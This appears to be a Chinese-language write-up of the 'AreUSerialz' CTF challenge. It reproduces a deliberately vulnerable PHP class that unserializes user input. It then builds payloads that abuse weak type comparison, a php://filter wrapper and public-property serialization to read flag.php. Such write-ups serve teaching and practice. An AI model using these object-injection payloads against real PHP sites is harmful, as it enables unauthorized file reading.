这是一道序列化的题目
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() { //op是1可以写
if($this->op == "1") {
$this->write();
} else if($this->op == "2") { //op是2可以读,此处为弱类型比较,可以是数字2
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2") //强类型比较,实例销毁时若op===2则覆盖写入空
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
分析可知,设置op为数字2,可以绕过_destruct方法。使用如下payload
<?php
class FileHandler {
protected $op=2;
protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
protected $content="aaa";
}
$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;
结果发现没有一点回显,考虑是没有反序列化。继续查看源码发现有一个is_valid()函数,要求字符串里的字符ascii只能在32到125之间。而protected字段反序列化后会生成%00*%00。不满足要求,于是将protected改为public
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content="aaa";
}
$a = new FileHandler();
$b = serialize($a);
echo urlencode($b);
echo $b;
标签:function,Buuctf,AreUSerialz,res,filename,content,output,网鼎杯,op
From: https://www.cnblogs.com/niyani/p/17721698.html